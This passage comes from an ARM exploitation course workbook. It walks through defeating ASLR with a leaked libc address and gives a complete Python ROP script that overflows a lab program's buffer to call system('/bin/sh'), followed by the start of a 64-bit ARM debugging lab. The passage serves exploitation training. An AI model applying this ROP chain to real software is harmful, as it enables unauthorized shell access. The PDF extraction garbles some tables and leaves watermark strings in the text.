b6f38000-b6f51000 r-xp 00000000 fc:02 914797 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
b6f5f000-b6f61000 rw-p 00000000 00:00 0
b6f61000-b6f62000 r--p 00019000 fc:02 914797 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
b6f62000-b6f63000 rw-p 0001a000 fc:02 914797 /usr/lib/arm-linux-gnueabihf/ld-2.31.so

09b91222e5d2d3d668cf8e52ec5d35ba
bece9000-bed0a000
bed63000-bed64000
bed64000-bed65000
rw-p
r-xp
r--p
00000000
00000000
00000000
00:00
00:00
00:00
0
0
0
[stack]
[sigpage]
[vvar]
bed65000-bed66000 r-xp 00000000 00:00 0 [vdso]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]

Based on our previous calculation we did in python, the address should be 0xb6e3a000.

We have a match!
micede1865@wii999_com
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

We see the base address for this section matches our calculation of 0xb6e3a000. Also, the x denotes that this section is
executable, we can confirm that this is the text section. The memmove function is executable code so this makes sense.

Finding other offsets 24356915


Having the base address of libc allows us to find the other addresses we need to craft our exploit. Let's use the same
technique that we used in the rop lab. Since the system is using ASLR, we don't know what the runtime addresses will be
and need to find them based on their offsets.

Paul Erwin
Since ASLR was off in the rop lab, we used hardcoded addresses for:

• system

• gadget1

• string: "/bin/sh"

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Finding system

Let's start with finding system. We can use the readelf -s command again. This time, instead of looking for memmove ,
we will look for the offset of system . The readelf program is nice, because it gives you a +1 since it is a THUMB function,
objdump can be used as an alternative, but it doesn't recognize this distinction for you.

238: 000c11ad
614: 00032991
96 FUNC
28 FUNC
GLOBAL DEFAULT
GLOBAL DEFAULT
live
nemo@mako:~$ readelf -s /lib/arm-linux-gnueabihf/libc-2.31.so | grep system
14 svcerr_systemerr@@GLIBC_2.4
14 __libc_system@@GLIBC_PRIVATE
1410: 00032991 28 FUNC WEAK DEFAULT 14 system@@GLIBC_2.4

Here we see the offset of system is 0x32991, so we should be able to get the address of system in our running process
by adding this offset to the base of libc.

© Hungry Hackers, LLC 153


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


This time, instead of subtracting the offset from the memmove function address to get the base of libc, we do the opposite.
We add the offset of system to the base address of libc to get the address of system .

09b91222e5d2d3d668cf8e52ec5d35ba
>>> hex(0xb6e3a000+0x32991)
'0xb6e6c991'

The runtime address for system is 0xb6e6c991. This address can be used in our rop chain.

Finding gadget1

micede1865@wii999_com
Next, we will figure out the address of gadget1. We located this gadget in the rop lab using objdump and grep. Let's do the
same thing again.

nemo@mako:~/labs/leak$ objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep pop | grep r0


4cfde: b198 cbz r0, 4d008 <_IO_popen@@GLIBC_2.4+0x38>
4d006: b108 cbz r0, 4d00c <_IO_popen@@GLIBC_2.4+0x3c>
5f3fc: e8bd8011 pop {r0, r4, pc}

24356915
Our gadget is at offset 0x5f3fc within libc. This gadget will:

• pop a value into r0 (load our string as the first parameter/r0)

• pop a value into r4 (we don't care about this one)

• pop a value into pc (call system("/bin/sh"))

 Note Paul Erwin


Review the rop lab if needed.

To get the address of gadget1, we add the offset found using objdump to the base of libc.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
>>> hex(0xb6e3a000+0x5f3fc)
'0xb6e993fc'

The runtime address of gadget1 in the running process is 0xb6e993fc. This address can be used in our rop chain.

 Note

live
Remember, if the process is restarted, all of these calculations need to be redone. :)

Finding the "/bin/sh" string offset

The /bin/sh string is used as an argument for system. Fortunately for us, this string is available in libc.

154 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~$ strings /lib/arm-linux-gnueabihf/libc-2.31.so | grep /bin
/bin/sh
/bin:/usr/bin
/bin/csh

09b91222e5d2d3d668cf8e52ec5d35ba
/etc/bindresvport.blacklist

The cheap way

Use the offset from the rop lab. Once you have the offset for this string, if libc doesn't change, the offset to "/bin/sh" won't
change either.

The easy way

micede1865@wii999_com
Use a reverse engineering or debug tool - Find it in a running instance of gdb with libc loaded (see the rop lab) - ghidra /
Defined Strings window - radare2

We will use radare2 from the hammerhead vm to find the offset for "/bin/sh". Open a new tab or split your Terminator
window.

24356915
A copy of libc-2.31.so is in the ~/labs/leak folder. Remember that this folder is shared between hammerhead and
mako, so you will be able to view it from the hammerhead home folder. Run the following commands.

nemo@hammerhead:~/labs/leak$ r2 libc-2.31.so
Warning: run r2 with -e io.cache=true to fix relocations in disassembly
-- We don't make mistakes... just happy little segfaults.

[0x0001aad8]> aaa
Paul Erwin
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Finding xrefs in noncode section with anal.in=io.maps
[x] Analyze value pointers (aav)
[x] Value from 0x00000000 to 0x000e8c50 (aav)
[x] 0x00000000-0x000e8c50 in 0x0-0xe8c50 (aav)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
[x] Emulate functions to find computed references (aaef)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x0001aad8]> izz | grep /bin/sh


17650 0x000e034c 0x000e034c 7 8 .rodata ascii /bin/sh

This shows us the offset of "/bin/sh" is at +0xe034c.


live
The commands we used above did the following.

• r2 libc-2.31.so - This opened the file in radare2. 'r2' can be used as a shortened version of the name.

• aaa - This performs initial analysis on the binary.

© Hungry Hackers, LLC 155


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


• izz | grep /bin/sh - The izz command searches for strings in all sections of the binary and here we grep for /
bin/sh.

09b91222e5d2d3d668cf8e52ec5d35ba
 Radare2 is a great tool.

Using python, we can do some math to get the address of the "/bin/sh" in this instance of the program.

>>> hex(0xb6e3a000+0xe034c)
'0xb6f1a34c'

micede1865@wii999_com
0xb6f1a34c is the runtime address of "/bin/sh". We can use this in our rop chain.

The hard way

String constants are stored in the .rodata section. Using the -p parameter, we can dump strings for a given section. We will
use grep to find the offset for /bin/sh .

[ 13bac] /bin/sh 24356915


nemo@mako:~$ readelf -p .rodata /lib/arm-linux-gnueabihf/libc-2.31.so | grep "/bin/sh"

This is the offset for the .rodata section, so we will need to add the offset above (0x13bac) to the address that marks
the beginning of .rodata. We can find this using readelf .

nemo@mako:~$ readelf -e /lib/arm-linux-gnueabihf/libc-2.31.so | grep rodata


[16] .rodata
03
PROGBITS
Paul Erwin
.note.gnu.build-id .note.ABI-
000cc7a0 0cc7a0 01a4fd 00 A 0 0 8

tag .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_d .gnu.version_r .rel.dyn .rel.plt .plt .iplt .tex
__libc_freeres_fn .rodata .stapsdt.base .interp .ARM.extab .ARM.exidx .eh_frame

Now, we can add the offset for .rodata and the offset for the /bin/sh string.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~$ python -c 'print(hex(0xcc7a0+0x13bac))'
0xe034c

We still need to add this value to the base of libc. This will finally give us the address of /bin/sh in the program's running
memory.

>>> hex(0xb6e3a000+0xe034c)
'0xb6f1a34c'

live

156 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The calculated addresses

Using the address of memmove , we were able to get the base value of libc (0xb6e3a000) and then calculate the following

09b91222e5d2d3d668cf8e52ec5d35ba
address we need for the exploit.

• system - 0xb6e6c991

• gadget1 - 0xb6e993fc

• "bin/sh" - 0xb6f1a34c

The overflow micede1865@wii999_com


The overflow in leak.c exists when a file is read in via the "reload" command. This command reads in the contents of a file
(config.txt) located in the same directory. The overflow occurs when the file contents get read into a fixed sized buffer.
See the ~/labs/leak/src/leak.c file for details on how this works.

nemo@mako:~/labs/leak$ cat src/leak.c


24356915
 Try it.

(Optional) Using what you have learned so far, try exploiting this using the exploit_no_offsets.py script.

The exploit.py file Paul Erwin


The exploit.py file is preset with these calculations. The only value that needs to change in this file is the
memmove_addr variable.

 Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Take some time to review this file in depth. It may look complex, but it is simply automating the math we just walked through and
saving an exploit buffer to a file.

The rest of the calculations are automated and the resulting buffer is saved to config.txt file. When the reload
command is given to leak, it will read in the exploit from the config file.

Example: Using exploit.py


live
Getting the memory leak.

© Hungry Hackers, LLC 157


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/leak$ ./leak

Enter a command: clue


The address of memmove is: 0xb6f36310

09b91222e5d2d3d668cf8e52ec5d35ba
Enter a command:

In a separate window, edit exploit.py in an editor such as vim or nano and update the memmove address.

 Note

micede1865@wii999_com
Since the /home/nemo/labs folder in hammerhead is mapped to the /home/nemo/labs folder in the mako vm, you can edit the /
home/nemo/labs/leak/exploit.py file using a graphical text editor in hammerhead.

To do this, click on the folder icon in the hammerhead desktop and navigate to labs/leak. Right click on the exploit.py file and click
"Open with Text Editor". Make your changes here and then save and exit the file. To avoid any synchronization issues, it is best
practice to exit the file before accessing it in the mako vm.

nemo@mako:~/labs/leak$ cat exploit.py


24356915
import struct

# UPDATE THIS VALUE


memmove_addr = 0xb6f36310

# Offsets will be based on libc version


offset_system = 0x32991
offset_memmove = 0x5f310
Paul Erwin
offset_gadget1 = 0x5f3fc
offset_binstr = 0xe034c

# Find the base address of libc


libc_addr = memmove_addr - offset_memmove

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Calculate the absolute addresses according to their offsets
gadget1_addr = libc_addr + offset_gadget1
binstr_addr = libc_addr + offset_binstr
system_addr = libc_addr + offset_system

print("libc addr: 0x%08x, memmove_addr: 0x%08x, gadget1 addr: 0x%08x, binstr addr: 0x%08x, system
addr: 0x%08x" % (libc_addr, memmove_addr, gadget1_addr, binstr_addr, system_addr))

# Combine into a buffer


live
buffer = "A"*116 + struct.pack('<I', gadget1_addr) + struct.pack('<I', binstr_addr) +
"\x43\x43\x43\x43" + struct.pack('<I', system_addr)

# Write buffer to config file


config_file = open('config.txt', 'wb')
config_file.write(buffer)
config_file.close()

158 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Save the changes and then run the script. This will create a new config.txt file.

nemo@mako:~/labs/leak$ python exploit.py


libc addr: 0xb6ed7000, memmove_addr: 0xb6f36310, gadget1 addr: 0xb6f363fc, binstr addr: 0xb6fb734c,

09b91222e5d2d3d668cf8e52ec5d35ba
system addr: 0xb6f09991

Switching back to the window with leak, run the reload command.

nemo@mako:~/labs/leak$ ./leak

Enter a command: clue

micede1865@wii999_com
The address of memmove is: 0xb6f36310

Enter a command: reload


Config:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$

 Success! We have a shell. 24356915


Summary

In this lab we used a staged memory leak to show how it can potentially be leveraged to defeat ASLR. By getting a leaked

Paul Erwin
address within libc, we were able to find its base. Once we had the base address we were able to find the runtime
addresses of other crucial items we needed by adding their offsets to the base of libc. As long as the process didn't
restart, these calculated addresses were viable for our exploit. We also used some tools to find the offsets of these items
from the base of a shared object (in this case, libc).

Memory Leak Challenge

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Use a different function in libc instead of memmove for the staged leak.

Hint:
Make a copy of leak.c and leak the "rename" address form libc instead of "memmove".
When you recompile the updated .c file, be sure to use -fno-stack-protector.
Make a copy of exploit.py to use so you don't overwrite the original script.

Challenge Answer Key


live

© Hungry Hackers, LLC 159


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 12: 64-Bit ARM

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Working with 64-bit ARM is different from working with 32-bit, but there are also many similarities. This lab is intended to
demonstrate the differences while at the same time show how the underlying fundamentals apply.

Objectives
micede1865@wii999_com
• Compiling and debugging

• Observing function calls

• Assembling shellcode and extracting bytes

• Exploiting a buffer overflow

Lab Preparation
24356915
 Note

This lab will be done in the tiger vm.

Paul Erwin
Accessing the tiger vm

• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/tiger folder.

• Use the command sudo start_tiger.sh to start the tiger virtual machine.

• When prompted, use the password: nemo


live
nemo@hammerhead:~$ cd qemu/tiger/

160 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/tiger$ sudo ./start_tiger.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...

Ubuntu 20.04.2 LTS tiger ttyAMA0

tiger login:

micede1865@wii999_com
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the tiger vm.

• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/tiger$ ssh tiger


nemo@tiger's password:
24356915
Last login: Sun Apr 18 01:27:14 2021 from 192.168.2.33
nemo@tiger:~$

If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
Paul Erwin
Compiling

Compiling is done the same as in 32-bit ARM. When logged into the tiger vm, we can use it's native version of gcc.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@tiger:~$ cd labs64/simple_loop/src/

nemo@tiger:~/labs64/simple_loop/src$ ls
simple_loop.c

nemo@tiger:~/labs64/simple_loop/src$ gcc -o ./simple_loop simple_loop.c

nemo@tiger:~/labs64/simple_loop/src$ file simple_loop


simple_loop: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked,

live
interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=ed6354678540f6f7352053032535621a914c3c8d, for
GNU/Linux 3.7.0, not stripped

nemo@tiger:~/labs64/simple_loop/src$ ./simple_loop
total: 10

© Hungry Hackers, LLC 161


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Cross compiling

While in the hammerhead (x86_64) vm, aarch64 binaries can be cross compiled using the aarch64-linux-gnu-gcc prefix.

09b91222e5d2d3d668cf8e52ec5d35ba
Since the hammerhead has its own version of gcc that will compile x86_64 binaries, we must explicitly tell it that we want
to compile for aarch64 by using the aarch64-linux-gnu-* tools.

nemo@hammerhead:~/labs64/simple_loop/src$ uname -a
Linux hammerhead 5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021 x86_64 x86_64
x86_64 GNU/Linux

micede1865@wii999_com
nemo@hammerhead:~/labs64/simple_loop/src$ aarch64-linux-gnu-gcc -static -o simple_loop.arm64 ./
simple_loop.c

nemo@hammerhead:~/labs64/simple_loop/src$ file simple_loop.arm64


simple_loop.arm64: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked,
BuildID[sha1]=bbfcabcb356c65444ed5ca1b61f6258f62c7135a, for GNU/Linux 3.7.0, not stripped

While we can't execute the file natively.


24356915
nemo@hammerhead:~/labs64/simple_loop/src$ ./simple_loop.arm64
bash: ./simple_loop.arm64: cannot execute binary file: Exec format error

We can execute the aarch64 binary on hammerhead using qemu-aarch64.

Paul Erwin
nemo@hammerhead:~/labs64/simple_loop/src$ qemu-aarch64 ./simple_loop.arm64
total: 10

A list of additional aarch64 tools can be found by typing aarch64-linux-gnu- and hitting the tab key. We can also run
some additional, non-native tools besides gcc that we have gone over in class (as, ld, objcopy, objdump, readelf, etc).

nemo@hammerhead:~$ aarch64-linux-gnu-

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
aarch64-linux-gnu-addr2line
aarch64-linux-gnu-ar
aarch64-linux-gnu-as
aarch64-linux-gnu-gcc-nm
aarch64-linux-gnu-gcc-nm-9
aarch64-linux-gnu-gcc-ranlib
aarch64-linux-gnu-ld.bfd
aarch64-linux-gnu-ld.gold
aarch64-linux-gnu-nm
aarch64-linux-gnu-c++filt aarch64-linux-gnu-gcc-ranlib-9 aarch64-linux-gnu-objcopy
aarch64-linux-gnu-cpp aarch64-linux-gnu-gcov aarch64-linux-gnu-objdump
aarch64-linux-gnu-cpp-9 aarch64-linux-gnu-gcov-9 aarch64-linux-gnu-ranlib
aarch64-linux-gnu-dwp aarch64-linux-gnu-gcov-dump aarch64-linux-gnu-readelf
aarch64-linux-gnu-elfedit aarch64-linux-gnu-gcov-dump-9 aarch64-linux-gnu-size
aarch64-linux-gnu-gcc
aarch64-linux-gnu-gcc-9
aarch64-linux-gnu-gcc-ar
live
aarch64-linux-gnu-gcov-tool
aarch64-linux-gnu-gcov-tool-9
aarch64-linux-gnu-gprof
aarch64-linux-gnu-strings
aarch64-linux-gnu-strip

aarch64-linux-gnu-gcc-ar-9 aarch64-linux-gnu-ld

These tools are already installed on the hammerhead vm, but if you are setting up a new system, they can be quickly
installed on debian/ubuntu with the following command:

162 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


sudo apt install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu

Debugging
09b91222e5d2d3d668cf8e52ec5d35ba
Debugging is done the same as in 32-bit ARM. However, you will notice some significant differences when interacting with
64-bit programs.

 Note

micede1865@wii999_com
If you prefer to use gef with gdb, you can turn it on by uncommenting the line in the ~/.gdbinit file. To uncomment the line, remove
the opening '#' using nano or vi.

Let's try debugging the 64-bit version of adder. This program uses the same source code but was compiled for 64-bit
ARM.

nemo@tiger:~$ cd ~/labs64/adder

nemo@tiger:~/labs64/adder$ ls
24356915
adder adder_lots src

nemo@tiger:~/labs64/adder$ gdb ./adder


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.

Paul Erwin
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from ./adder...
(No debugging symbols found in ./adder)
(gdb)

Disassemble the main function.


live
(gdb) disas main
Dump of assembler code for function main:
0x00000000000008cc <+0>: stp x29, x30, [sp, #-64]!
0x00000000000008d0 <+4>: mov x29, sp
0x00000000000008d4 <+8>: str w0, [sp, #28]

© Hungry Hackers, LLC 163


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x00000000000008d8 <+12>: str x1, [sp, #16]
...
0x0000000000000948 <+124>: ldr w0, [sp, #44]
0x000000000000094c <+128>: ldr w1, [sp, #48]

09b91222e5d2d3d668cf8e52ec5d35ba
0x0000000000000950
0x0000000000000954
0x0000000000000958
<+132>:
<+136>:
<+140>:
ldr
ldr
bl
w2, [sp, #52]
w3, [sp, #40]
0x88c <adder>
...
(gdb)

The first thing we notice is that the addresses are much larger. We also see the 64-bit register names that start with x or
w.

 Warning
micede1865@wii999_com
If we disassemble the main function prior to running the program, we will see 0's in the address prefixes. To see what the addresses
will actually be at runtime, we need to start the program and then look at the main function again.

24356915
Let's try this again, but this time we will break at main, and then look at the disassembly again. We should see different
addresses.

(gdb) b main
Breakpoint 1 at 0x8e0
(gdb) run
Starting program: /home/nemo/labs64/adder/adder

Breakpoint 1, 0x0000aaaaaaaaa8e0 in main ()


(gdb) disas main
Paul Erwin
Dump of assembler code for function main:
0x0000aaaaaaaaa8cc <+0>: stp x29, x30, [sp, #-64]!
0x0000aaaaaaaaa8d0 <+4>: mov x29, sp
0x0000aaaaaaaaa8d4 <+8>: str w0, [sp, #28]
0x0000aaaaaaaaa8d8 <+12>: str x1, [sp, #16]
...

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x0000aaaaaaaaa948 <+124>:
0x0000aaaaaaaaa94c <+128>:
0x0000aaaaaaaaa950 <+132>:
ldr w0, [sp, #44]
ldr w1, [sp, #48]
ldr w2, [sp, #52]
0x0000aaaaaaaaa954 <+136>: ldr w3, [sp, #40]
0x0000aaaaaaaaa958 <+140>: bl 0xaaaaaaaaa88c <adder>
...
(gdb)

Now we see the actual addresses we need to work with. live


Let's begin by setting a breakpoint on the call to adder (at the bottom of the snippet above) and look at how the
arguments are passed to the adder function.

(gdb) b *0x0000aaaaaaaaa958
Breakpoint 2 at 0xaaaaaaaaa958

164 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


(gdb) c
Continuing.

Breakpoint 2, 0x0000aaaaaaaaa958 in main ()

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb)

Before we look at the arguments passed to the adder function, let's review the C source code for adder.c.

#include <stdio.h>

int adder(int a, int b, int c, int d) {

}
micede1865@wii999_com
unsigned int result = a+b+c+d;
return result;

int main(int argc, char *argv[]) {

unsigned int a=3, b=5, c=7, d=0;


unsigned short result = 0;

if (argv[1]) {
24356915
sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);

}
printf("Result: %d\n", result);

Paul Erwin
In gdb we should see a=3, b=5, c=7, and d=0 based on our understanding of the source code in the main function above.
Similar to 32-bit ARM, arguments are passed in the registers, but instead of r0-r3, 64-bit ARM can use registers x0-x7.

 Note

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
If the values in registers are less than 32-bits, you may see w0-w7 being used in the assembly. The 'w' registers represent the 64-bit
'x' registers as 32-bit.

We should be stopped at the call to adder. Let's look at the assembly in the main function leading up to this point.

live

© Hungry Hackers, LLC 165


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


(gdb) disas main

...

09b91222e5d2d3d668cf8e52ec5d35ba
0x0000aaaaaaaaa948
0x0000aaaaaaaaa94c
0x0000aaaaaaaaa950
<+124>:
<+128>:
<+132>:
ldr
ldr
ldr
w0, [sp, #44]
w1, [sp, #48]
w2, [sp, #52]
0x0000aaaaaaaaa954 <+136>: ldr w3, [sp, #40]
0x0000aaaaaaaaa958 <+140>: bl 0xaaaaaaaaa88c <adder>

We see values getting loaded into w0-w3. If we review the beginning of the main function, we can see that these are the
values 3,5,7,0. Let's verify this by looking at the registers.

(gdb) i r
micede1865@wii999_com
x0 0x3 3
x1 0x5 5
x2 0x7 7
x3 0x0 0
x4 0x0 0
x5
x6
x7
0xff78a4ecb7a55075
0xfffff7fc8608
0x1001000401004
24356915
-38099260232347531
281474842265096
281543700385796
x8 0xffffffffffffffff -1
x9 0x3fffffffffffffff 4611686018427387903
x10 0x2000000000000000 2305843009213693952
x11 0x1001000401004 281543700385796
x12 0xfffff7e60208 281474840789512
x13 0x0 0
x14
x15
x16
0x0
0x6fffff47
0xaaaaaaabaf88
Paul Erwin
0
1879048007
187649984540552
x17 0xfffff7e7cfa8 281474840907688
x18 0x73516240 1934713408
x19 0xaaaaaaaaa9a8 187649984473512
x20 0x0 0
x21 0xaaaaaaaaa780 187649984472960

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
x22
x23
x24
0x0
0x0
0x0
0
0
0
x25 0x0 0
x26 0x0 0
x27 0x0 0
x28 0x0 0
x29 0xfffffffff360 281474976707424
x30
sp
pc
0xfffff7e7d090
0xfffffffff360
0xaaaaaaaaa958
281474840907920
0xfffffffff360 live
0xaaaaaaaaa958 <main+140>
cpsr 0x60001000 [ EL=0 SSBS C Z ]
fpsr 0x0 0
fpcr 0x0 0
vg 0x8 8

166 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


pauth_dmask 0x7f000000000000 35747322042253312
pauth_cmask 0x7f000000000000 35747322042253312

There are a lot more registers but we see that registers x0-x3 hold the values being sent to the adder function as we

09b91222e5d2d3d668cf8e52ec5d35ba
expected.

We saw these values being loaded into the "w" registers in the assembly. Since the w registers are 32-bit representations
of the x registers, we should see the same thing if we try to read them as w registers. Let's confirm this with the 'info reg'
command.

(gdb) info reg $x0 $x1 $x2 $x3


x0
x1
x2
micede1865@wii999_com
0x3
0x5
0x7
3
5
7
x3 0x0 0
(gdb) info reg $w0 $w1 $w2 $w3
w0 0x3 3
w1 0x5 5
w2 0x7 7
w3 0x0
24356915
0

This is what we expect to see.

Passing up to 8 arguments in registers.

Paul Erwin
One difference is that we can pass up to 8 arguments in registers x0-x7 before needing to use the stack. Let's look at how
this looks in the 64-bit version of adder_lots program.

The adder_lots program is similar to the adder program, except it passes a total of 9 arguments to be added.

int main(int argc, char *argv[]) {

unsigned int a = 1;

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmKunsigned
unsigned
unsigned
int b
int c
int d
= 2;
= 3;
= 4;
unsigned int e = 5;
unsigned int f = 6;
unsigned int g = 7;
unsigned int h = 8;
unsigned int i = 0;
unsigned short

if (argv[1]) {
result = 0;
live
sscanf(argv[1], "%d", &i);
}

result = adder(a,b,c,d,e,f,g,h,i);

© Hungry Hackers, LLC 167


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


printf("Result: %d\n", result);
}

Quit any existing gdb sessions, and start up adder_lots in a new debug session.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@tiger:~/labs64/adder$ gdb adder_lots
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.

micede1865@wii999_com
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Reading symbols from adder_lots... 24356915


Type "apropos word" to search for commands related to "word"...

(No debugging symbols found in adder_lots)


(gdb)

Set a breakpoint in main and start the program.

(gdb) b main
Breakpoint 1 at 0x91c
(
gdb) run
Paul Erwin
Starting program: /home/nemo/labs64/adder/src/adder_lots

Breakpoint 1, 0x0000aaaaaaaaa91c in main ()


(gdb)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Examine the disassembly for the main function.

(gdb) disas main


Dump of assembler code for function main:
0x0000aaaaaaaaa904 <+0>: sub sp, sp, #0x60
0x0000aaaaaaaaa908 <+4>: stp x29, x30, [sp, #16]
0x0000aaaaaaaaa90c <+8>: add x29, sp, #0x10
...
0x0000aaaaaaaaa9ac <+168>:
0x0000aaaaaaaaa9b0 <+172>:
live
ldr w0, [sp, #52]
str w0, [sp]
0x0000aaaaaaaaa9b4 <+176>: ldr w7, [sp, #84]
0x0000aaaaaaaaa9b8 <+180>: ldr w6, [sp, #80]
0x0000aaaaaaaaa9bc <+184>: ldr w5, [sp, #76]
0x0000aaaaaaaaa9c0 <+188>: ldr w4, [sp, #72]
0x0000aaaaaaaaa9c4 <+192>: ldr w3, [sp, #68]

168 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x0000aaaaaaaaa9c8 <+196>: ldr w2, [sp, #64]
0x0000aaaaaaaaa9cc <+200>: ldr w1, [sp, #60]
0x0000aaaaaaaaa9d0 <+204>: ldr w0, [sp, #56]
0x0000aaaaaaaaa9d4 <+208>: bl 0xaaaaaaaaa88c <adder>

09b91222e5d2d3d668cf8e52ec5d35ba
...

Here we see the assembly leading up to the call to the adder function. However, we see more registers getting loaded
prior to the call. Set a breakpoint at the call to adder and continue execution.

(gdb) b *0x0000aaaaaaaaa9d4
Breakpoint 2 at 0xaaaaaaaaa9d4
(gdb) c
Continuing.
micede1865@wii999_com
Breakpoint 2, 0x0000aaaaaaaaa9d4 in main ()

(gdb)

Now, let's look at the registers with the 'i r' (info registers) command.

(gdb) i r
x0 0x1 1
24356915
x1 0x2 2
x2 0x3 3
x3 0x4 4
x4 0x5 5
x5 0x6 6
x6
x7
x8
0x7
0x8
0xffffffffffffffff
Paul Erwin
7
8
-1
x9 0x3ff 1023
x10 0x20000000200 2199023256064
x11 0x0 0
x12 0xfffff7e60208 281474840789512
x13 0x0 0
x14 0x0 0

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
x15
x16
x17
0x6fffff47
0xaaaaaaabaf88
0xfffff7e7cfa8
1879048007
187649984540552
281474840907688
x18 0x73516240 1934713408
x19 0xaaaaaaaaaa28 187649984473640
x20 0x0 0
x21 0xaaaaaaaaa780 187649984472960
x22 0x0 0
x23
x24
x25
0x0
0x0
0x0
0
0
0
live
x26 0x0 0
x27 0x0 0
x28 0x0 0
x29 0xfffffffff320 281474976707360
x30 0xfffff7e7d090 281474840907920

